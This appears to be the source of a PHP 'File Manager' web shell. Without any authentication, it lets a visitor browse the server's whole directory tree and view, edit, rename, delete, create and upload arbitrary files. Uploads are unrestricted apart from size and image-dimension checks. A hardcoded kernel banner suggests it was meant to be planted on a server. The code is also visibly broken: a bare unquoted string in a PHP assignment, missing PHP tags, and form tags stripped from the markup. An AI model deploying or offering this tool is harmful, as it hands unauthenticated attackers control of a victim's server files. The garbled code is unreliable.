// Function to get file permissions in symbolic format
function getFilePermissions($filePath) {
$perms = fileperms($filePath);

// Convert permissions to symbolic format
$symbolic = '';
$symbolic .= (($perms & 0x0100) ? 'r' : '-');
$symbolic .= (($perms & 0x0080) ? 'w' : '-');
$symbolic .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-'));
$symbolic .= (($perms & 0x0020) ? 'r' : '-');
$symbolic .= (($perms & 0x0010) ? 'w' : '-');
$symbolic .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-'));
$symbolic .= (($perms & 0x0004) ? 'r' : '-');
$symbolic .= (($perms & 0x0002) ? 'w' : '-');
$symbolic .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-'));

// Get numeric permissions
$numeric = substr(sprintf('%o', $perms), -4);

return [
'symbolic' => $symbolic,
'numeric' => $numeric
];
}

// Function to recursively list directories and files
function listDirectory($dir) {
// Get the current directory contents
$files = scandir($dir);
$system_info = Linux Server 5.4.0-81-generic #91-Ubuntu SMP Thu Jul 15 19:09:17 UTC x86_64;
// Display current directory name
echo "<h4 class='mb-4 text-light'>$system_info</h4>";
echo "<h5 class='mb-4 text-light'>Directory: <span class='text-info'>$dir</span></h5>";

// Display link to go back to the parent directory
$parentDir = dirname($dir);
if ($dir !== '/') {
echo "<a class='btn btn-secondary mb-3' href='?dir=" . urldecode($parentDir) . "'><i class='fas fa-arrow-left'></i> Go Back</a>
";
}

// Display option to create a new file
echo "<div class='row mb-3'>
<div class='col-md-4'>

<div class='input-group'>
<input type='text' name='new_file_name' class='form-control bg-dark text-light' placeholder='New file name' required>
<button type='submit' name='create_file' class='btn btn-primary'><i class='fas fa-plus'></i> Create</button>
</div>

</div>
<div class='col-md-4'>

<div class='input-group'>
<input type='file' name='fileup[]' class='form-control bg-dark text-light' multiple required>
<button type='submit' name='upload_file' class='btn btn-success'><i class='fas fa-upload'></i> Upload</button>
</div>

</div>
</div>";

// Display list of directories first, then files
echo "<ul class='list-group'>";
// First, list directories
foreach ($files as $file) {
if ($file !== '.' && $file !== '..') {
$fullPath = "$dir/$file";
if (is_dir($fullPath)) {
$perms = getFilePermissions($fullPath);
echo "<li class='list-group-item d-flex justify-content-between align-items-center bg-dark text-light'>
<span><i class='fas fa-folder text-warning'></i> <a href='?dir=" . urldecode($fullPath) . "' class='text-decoration-none text-light'>$file</a></span>
<span class='badge bg-secondary'>{$perms['symbolic']} / {$perms['numeric']}</span>
</li>";
}
}
}
// Then, list files
foreach ($files as $file) {
if ($file !== '.' && $file !== '..') {
$fullPath = "$dir/$file";
if (!is_dir($fullPath)) {
$perms = getFilePermissions($fullPath);
echo "<li class='list-group-item d-flex justify-content-between align-items-center bg-dark text-light'>
<span><i class='fas fa-file text-info'></i> $file</span>
<div>
<span class='badge bg-secondary me-2'>{$perms['symbolic']} / {$perms['numeric']}</span>
<a href='?view=" . urldecode($fullPath) . "' class='btn btn-sm btn-info'><i class='fas fa-eye'></i></a>
<a href='?edit=" . urldecode($fullPath) . "' class='btn btn-sm btn-warning'><i class='fas fa-edit'></i></a>
<a href='?rename=" . urldecode($fullPath) . "' class='btn btn-sm btn-secondary'><i class='fas fa-pen'></i></a>
<a href='#' onclick='confirmDelete(\"$fullPath\")' class='btn btn-sm btn-danger'><i class='fas fa-trash'></i></a>
</div>
</li>";
}
}
}
echo "</ul>";
}

// Function to create a new file
function createFile($dir, $fileName) {
$filePath = "$dir/$fileName";
if (!file_exists($filePath)) {
file_put_contents($filePath, ""); // Create an empty file
echo "<div class='alert alert-success mt-3'>File '$fileName' created successfully!</div>";
} else {
echo "<div class='alert alert-danger mt-3'>File '$fileName' already exists.</div>";
}
}

// Function to upload multiple files
function uploadFile($dir) {
$uploadpath = $dir . '/'; // Directory to store the uploaded files
$max_size = 2000; // Maximum file size, in KiloBytes
$alwidth = 900; // Maximum allowed width, in pixels
$alheight = 800; // Maximum allowed height, in pixels

if (isset($_FILES['fileup'])) {
$files = $_FILES['fileup'];
$uploadedFiles = 0;

// Loop through each file
foreach ($files['name'] as $key => $name) {
if (strlen($name) > 1) {
$fileTmp = $files['tmp_name'][$key];
$fileSize = $files['size'][$key];
$fileError = $files['error'][$key];
$fileType = strtolower(pathinfo($name, PATHINFO_EXTENSION));

// Check if the file is an image and get its dimensions
if (in_array($fileType, ['jpg', 'jpe', 'png', 'gif'])) {
list($width, $height) = getimagesize($fileTmp);
}

// Validate file size, width, and height
$err = '';
if ($fileSize > $max_size * 1000) $err .= 'File ' . $name . ' exceeds maximum size of ' . $max_size . ' KB.
';
if (isset($width) && isset($height) && ($width >= $alwidth || $height >= $alheight)) $err .= 'File ' . $name . ' exceeds maximum dimensions of ' . $alwidth . 'x' . $alheight . '.
';

// If no errors, upload the file
if ($err == '') {
$destination = $uploadpath . basename($name);
if (move_uploaded_file($fileTmp, $destination)) {
$uploadedFiles++;
} else {
echo '<div class="alert alert-danger mt-3">Failed to upload ' . $name . '.</div>';
}
} else {
echo '<div class="alert alert-danger mt-3">' . $err . '</div>';
}
}
}

if ($uploadedFiles > 0) {
echo '<div class="alert alert-success mt-3">' . $uploadedFiles . ' file(s) uploaded successfully!</div>';
}
} else {
echo '<div class="alert alert-danger mt-3">No files selected.</div>';
}
}

// Function to view file content
function viewFile($filePath) {
if (file_exists($filePath) && is_file($filePath)) {
$content = htmlspecialchars(file_get_contents($filePath));
echo "<h2 class='mb-4 text-light'>Viewing File: <span class='text-info'>$filePath</span>";
echo "<pre class='bg-dark text-light p-3 rounded'><code>$content</code></pre>";
echo "<a class='btn btn-secondary' href='?dir=" . urldecode(dirname($filePath)) . "'><i class='fas fa-arrow-left'></i> Back to Directory</a>";
} else {
echo "<div class='alert alert-danger mt-3'>File not found.</div>";
}
}

// Function to edit file content
function editFile($filePath) {
if (isset($_POST['content'])) {
file_put_contents($filePath, $_POST['content']);
echo "<div class='alert alert-success mt-3'>File saved successfully!</div>";
}

$content = htmlspecialchars(file_get_contents($filePath));
echo "<h2 class='mb-4 text-light'>Editing File: <span class='text-info'>$filePath</span>";
echo "

<textarea name='content' class='form-control bg-dark text-light mb-3' rows='15'>$content</textarea>
<button type='submit' class='btn btn-primary'><i class='fas fa-save'></i> Save Changes</button>
";
echo "<a class='btn btn-secondary mt-3' href='?dir=" . urldecode(dirname($filePath)) . "'><i class='fas fa-arrow-left'></i> Back to Directory</a>";
}

// Function to delete a file
function deleteFile($filePath) {
if (file_exists($filePath)) {
if (unlink($filePath)) {
echo "<script>alert('File deleted successfully!'); window.location.href = '?dir=" . urlencode(dirname($filePath)) . "';</script>";
} else {
echo "<script>alert('Failed to delete file.'); window.location.href = '?dir=" . urlencode(dirname($filePath)) . "';</script>";
}
} else {
echo "<script>alert('File not found.'); window.location.href = '?dir=" . urlencode(dirname($filePath)) . "';</script>";
}
}

// Function to rename a file
function renameFile($filePath, $newName) {
$dir = dirname($filePath);
$newFilePath = "$dir/$newName";

// Check if the new file name already exists
if (file_exists($newFilePath)) {
echo "<div class='alert alert-danger mt-3'>A file with the name '$newName' already exists.</div>";
return;
}

// Attempt to rename the file
if (rename($filePath, $newFilePath)) {
echo "<div class='alert alert-success mt-3'>File renamed successfully to '$newName'.</div>";
} else {
echo "<div class='alert alert-danger mt-3'>Failed to rename file. Please check permissions.</div>";
}
}

// Determine what action to take
if (isset($_POST['upload_file'])) {
$currentDir = isset($_GET['dir']) ? $_GET['dir'] : '.';
$currentDir = realpath($currentDir);
uploadFile($currentDir);
listDirectory($currentDir);
} elseif (isset($_GET['view'])) {
$filePath = realpath($_GET['view']);
viewFile($filePath);
} elseif (isset($_GET['edit'])) {
$filePath = realpath($_GET['edit']);
editFile($filePath);
} elseif (isset($_GET['delete'])) {
$filePath = realpath($_GET['delete']);
deleteFile($filePath);
} elseif (isset($_GET['rename'])) {
$filePath = realpath($_GET['rename']);
echo "<h2 class='mb-4 text-light'>Rename File: <span class='text-info'>" . basename($filePath) . "</span>";
echo "

<div class='input-group mb-3'>
<input type='text' name='new_name' class='form-control bg-dark text-light' value='" . basename($filePath) . "' required>
<input type='hidden' name='file_path' value='$filePath'>
<button type='submit' name='rename_file' class='btn btn-primary'><i class='fas fa-save'></i> Rename</button>
</div>
";
} elseif (isset($_POST['rename_file']) && !empty($_POST['new_name'])) {
$filePath = $_POST['file_path'];
$newName = $_POST['new_name'];
renameFile($filePath, $newName);
$currentDir = dirname($filePath);
listDirectory($currentDir);
} elseif (isset($_POST['create_file']) && !empty($_POST['new_file_name'])) {
$currentDir = isset($_GET['dir']) ? $_GET['dir'] : '.';
$currentDir = realpath($currentDir);
createFile($currentDir, $_POST['new_file_name']);
listDirectory($currentDir);
} else {
// Default action: list directory contents
$currentDir = isset($_GET['dir']) ? $_GET['dir'] : '.';
$currentDir = realpath($currentDir);
listDirectory($currentDir);
}


<!DOCTYPE html>
<html lang="en">

<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
File Manager <title>File Manager</title>
<!-- Bootstrap 5 CSS -->
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet">
<!-- Font Awesome Icons -->
<link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css" rel="stylesheet">
<!-- Dark Mode -->
<style>
body {
background-color: #121212;
color: #ffffff;
}
.list-group-item {
background-color: #1e1e1e;
border-color: #444;
}
.form-control {
background-color: #333;
color: #fff;
border-color: #444;
}
.form-control:focus {
background-color: #444;
color: #fff;
border-color: #666;
}
.text-light {
color: #f8f9fa !important;
}
</style>
<!-- JavaScript for Delete Confirmation -->
<script>
function confirmDelete(filePath) {
if (confirm('Are you sure you want to delete this file?')) {
window.location.href = '?delete=' + encodeURIComponent(filePath);
}
}
</script>

<body class="p-4">
<div class="container">
<!-- Content is dynamically generated by PHP -->
</div>
<!-- Bootstrap 5 JS -->
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/js/bootstrap.bundle.min.js"></script>